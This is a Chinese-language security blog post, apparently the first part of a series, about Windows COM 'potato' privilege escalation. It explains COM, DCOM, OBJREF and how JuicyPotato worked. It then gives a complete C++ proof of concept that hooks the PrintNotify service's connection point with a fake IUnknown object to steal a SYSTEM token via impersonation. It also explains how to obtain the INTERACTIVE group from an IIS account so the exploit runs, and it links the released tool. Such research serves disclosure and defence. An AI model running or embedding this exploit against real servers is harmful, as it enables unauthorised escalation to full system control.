Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

COM安全 新型土豆提权 第一部分

By: Beichen
8 December 2022 at 15:35

一、概述

自从Window10 1803/Server2016及以上打了微软的补丁之后,基于OXID 反射NTLM提权已经失效了,代表作如JuicyPotato、SweetPotato,

本文将从COM开发与调用开始,寻找替代OXID 反射NTLM提权的方法

二、关于COM对象

COM对象即“组件对象模型”,是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则,用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。

COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。通常情况下,一个COM对象由两部分组成:一个接口(Interface)和一个实现(Implementation)。接口定义了该对象的功能和行为,实现则实现了接口的具体功能。

COM对象的优点在于它具有跨语言、跨平台的特性,使得不同语言、不同平台的程序能够相互调用和协作。另外,COM对象的接口和实现分离的设计方式,使得它能够更好地支持多态和继承。

总之,COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成,接口定义了对象的功能和行为,实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性,使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。

三、COM与DCOM对象的区别

COM(组件对象模型)是一种用于在不同软件组件之间进行通信的技术,它提供了一种方法,允许开发人员创建可以在多个软件组件之间共享的对象,从而提高了软件开发的灵活性和可重用性。

DCOM(分布式组件对象模型)是一种在网络上运行的分布式技术,它扩展了COM的功能,使得可以在不同的计算机之间进行通信和交互。

因此,COM是在客户端计算机的本地级别执行的,而DCOM则是在服务器端运行的。这意味着,DCOM比COM更具有分布式特性,可以在不同的计算机之间进行通信和交互。此外,DCOM还可以为远程组件提供安全性和访问控制,从而提高了系统的安全性。

DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制,如身份验证和授权,来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件,从而提高了系统的安全性。

另外,DCOM还支持跨网络的通信,即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序,提高了系统的可用性和可扩展性。

总之,DCOM是一种扩展了COM的技术,用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制,并支持跨网络的通信,可以更好地支持分布式应用程序。

四 、OBJREF

在DCOM中,OBJREF(对象引用)是一个重要的概念。它表示一个远程对象的引用,用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。

OXID(对象交互标识符)是OBJREF中的一个重要部分,它表示一个远程对象的唯一标识符,用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成,用于指定该对象所在的计算机。

OID(对象标识符)也是OBJREF中的一个重要部分,它表示一个对象的唯一标识符,用于在单个计算机中识别该对象。OID通常由一个GUID组成,用于唯一标识一个对象。

IPID(对象接口标识符)也是OBJREF中的一个重要部分,它表示一个对象的接口的唯一标识符,用于在单个计算机中识别该接口。IPID通常由一个GUID组成,用于唯一标识一个接口。

在DCOM中,OBJREF是一个重要的概念,它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。在进行远程调用时,OBJREF用于传递对象的信息,从而实现对象的交互和通信。

五、JuicyPotato的原理

JuicyPotato使用CoGetInstanceFromIStorage触发远程调用,CoGetInstanceFromIStorage是一个Windows API函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。

在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象,在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker

PointerMoniker指的是对象的引用,也就是说在调用CoGetInstanceFromIStorage时,COM服务会获取反序列化的Class类型,然后根据类型进行下一步反序列化。

然后JuicyPotato在IStorage MarshalInterface序列化对象时,写入了引用的对象,并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer

然后JuicyPotato会对来自COM Server的流量进行解析,解析出NTLM认证信息再通过AcceptSecurityContext获取Token。

但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。

六、调用COM时的对象引用与PrintNotifyPotato

当我们在调用COM方法时,有些方法可能要求我们提供一个IUnknown对象或者IDispatch,当COM Server去操作我们提供的IUnknown对象时,COM Serve会回调我们实现的对象,我们就可以通过CoImpersonateClient去模拟COM Server。

来自COM Server的调用我们实现的QueryInterface方法,我们可以在实现的QueryInterface方法模拟COM Server的权限

Demo

// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include "ole2.h"
#include <comdef.h>
#include <printerextension.h>
#include <sddl.h>


GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };



IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };

class FakeObject : public IUnknown
{
  LONG m_lRefCount;
  

  void TryImpersonate()
  {
    if (*m_ptoken == nullptr)
    {
      HRESULT hr = CoImpersonateClient();
      if (SUCCEEDED(hr))
      {
        HANDLE hToken;
        if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
        {
          PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
          DWORD ret_len = 0;

          if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
          {
            LPWSTR sid_name;

            ConvertSidToStringSid(user->User.Sid, &sid_name);

            if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
            {
              *m_ptoken = hToken;
              RevertToSelf();
            }
            else
            {
              CloseHandle(hToken);
            }

            printf("Got Token: %p %ls\n", hToken, sid_name);
            LocalFree(sid_name);
          }
          else
          {
            printf("Error getting token user %d\n", GetLastError());
          }
          free(user);
        }
        else
        {
          printf("Error opening token %d\n", GetLastError());
        }
      }
    }
  }

public:
  HANDLE* m_ptoken;
  //Constructor, Destructor
  FakeObject(HANDLE* ptoken) {
    m_lRefCount = 1;
    m_ptoken = ptoken;
    *m_ptoken = nullptr;
  }

  ~FakeObject() {};

  //IUnknown
  HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj)
  {
    TryImpersonate();

    if (riid == __uuidof(IUnknown))
    {
      *ppvObj = this;
    }
    else if (riid == IID_FakeInterface)
    {
      printf("Check for FakeInterface\n");
      *ppvObj = this;
    }
    else
    {
      *ppvObj = NULL;
      return E_NOINTERFACE;
    }

    AddRef();
    return NOERROR;
  }

  ULONG __stdcall AddRef()
  {
    TryImpersonate();
    return InterlockedIncrement(&m_lRefCount);
  }

  ULONG __stdcall Release()
  {
    TryImpersonate();
    // not thread safe
    ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

    if (0 == ulCount)
    {
      delete this;
    }

    return ulCount;
  }
};


int main()
{
  // 初始化COM运行时
  CoInitialize(NULL);
  //初始化COM运行时上下文
  HRESULT hr;

  IMonikerPtr pFakeObj;
  HANDLE ptoken = NULL;

  FakeObject* fakeObject = new FakeObject(&ptoken);


  //CreatePointerMoniker(fakeObject, &pFakeObj);

  IUnknown* pPrintNotify = NULL;

  hr = CoCreateInstance(PrintNotifyGUID, NULL,
    CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));

  if (SUCCEEDED(hr))
  {
    IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;

    hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);

    IEnumConnectionPoints* pIEnumConnectionPoints;

    hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);


    LPCONNECTIONPOINT pCONNECTIONPOINT;
    ULONG fetched;

    hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);

    DWORD cookie;

    hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);

    printf("Got Token At :%p\n", fakeObject->m_ptoken);
  }
  else
  {
    printf("CoCreateInstance fail hr: %d\n",hr);
  }




  std::cout << "Hello World!\n";
  return 0;
}

回到我们的IIS服务器,我发现创建PrintNotify失败了?

它只允许以下用户组该怎么办?

通过查找我发现一个工具可以获取INTERACTIVE用户组,https://github.com/antonioCoco/RunasCs

在调用LogonUser方法时,lsasrv不会校验用户所有的权限和用户组,直接为当前Token添加INTERACTIVE组,然后剩下的工作照常运行,PrintNotifyPotato可以在Windows 2012-2022运行

https://github.com/BeichenDream/PrintNotifyPotato

引用

http://code.google.com/p/google-security-research/issues/detail?id=128

zcgonvh

https://github.com/antonioCoco/JuicyPotatoNG

https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/

❌
❌